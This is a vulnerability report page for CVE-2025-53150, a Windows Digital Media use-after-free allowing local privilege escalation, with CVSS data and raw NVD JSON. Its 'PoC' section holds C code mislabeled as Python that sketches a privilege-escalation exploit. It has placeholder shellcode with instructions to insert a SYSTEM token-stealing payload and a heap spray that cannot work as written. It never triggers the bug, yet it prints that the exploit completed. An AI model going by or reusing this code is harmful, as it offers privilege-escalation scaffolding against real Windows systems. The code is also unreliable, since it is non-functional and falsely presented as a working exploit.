Security Vulnerability Report
中文
CVE-2025-53150 CVSS 7.8 HIGH

CVE-2025-53150

Published: 2025-10-14 17:15:44
Last Modified: 2025-10-20 20:12:57

Description

Use after free in Windows Digital Media allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 (受影响的版本)
Windows 11 (受影响的版本)
Windows Server (受影响的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2025-53150 - Windows Digital Media Use After Free PoC (Conceptual) * Vulnerability: Use After Free in Windows Digital Media component * Impact: Local Privilege Escalation (LPE) * Tested on: Windows 10/11 (affected builds) * * NOTE: This is a conceptual PoC demonstrating the vulnerability pattern. * The actual exploitation requires careful heap manipulation and * Windows Digital Media API interaction. */ #include <windows.h> #include <stdio.h> #include <objbase.h> // Shellcode placeholder - replace with actual token-stealing payload // for SYSTEM privilege escalation unsigned char shellcode[] = { // Token stealing shellcode goes here // Typically: steal SYSTEM token from EPROCESS and apply to current thread 0x90, 0x90, 0x90, 0x90 }; // Callback for heap spray control VOID CALLBACK SprayCallback(PVOID lpParameter, BOOLEAN TimerOrWaitFired) { // Allocate controlled objects to reclaim freed memory // This is where heap spray / heap feng shui happens for (int i = 0; i < 1000; i++) { PVOID p = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (p) { RtlFillMemory(p, 0x1000, 0x41); } } } int main(int argc, char* argv[]) { printf("[+] CVE-2025-53150 PoC - Windows Digital Media UAF LPE\n"); // Step 1: Initialize COM for Digital Media interfaces HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (FAILED(hr)) { printf("[-] CoInitializeEx failed: 0x%08lx\n", hr); return 1; } // Step 2: Trigger the vulnerable code path in Windows Digital Media // The vulnerability is triggered when specific media processing APIs // are called, causing a UAF on an internal media object printf("[*] Triggering vulnerable code path...\n"); // Conceptual trigger: interact with Digital Media APIs that cause // the use-after-free condition. The actual API calls depend on the // specific vulnerable function in Windows Digital Media component. // For example, media decoder/encoder operations that mishandle // object lifetimes. // Step 3: Perform heap spray to reclaim freed memory printf("[*] Performing heap spray to reclaim freed memory...\n"); HANDLE hTimer = NULL; CreateTimerQueueTimer(&hTimer, NULL, SprayCallback, NULL, 0, 0, WT_EXECUTEINTIMERTHREAD); Sleep(1000); // Step 4: Trigger the use-after-free access to gain code execution printf("[*] Triggering UAF access for code execution...\n"); // Step 5: Cleanup CoUninitialize(); printf("[+] Exploit completed. Check privilege level.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53150", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:43.643", "lastModified": "2025-10-20T20:12:57.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows Digital Media allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "E216CD5B-8885-4E17-8718-97E88A724A44"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "36E44227-0320-43B1-A0D9-EB28B25CDB4D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.22631.6060", "matchCriteriaId": "4AF873E4-B2FE-4504-BFF0-FC71121FC9A4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndIncluding": "10.0.26100.6899", "matchCriteriaId": "CD6268EB-C42B-406F-B3FF-6E694F93BF41"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53150", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}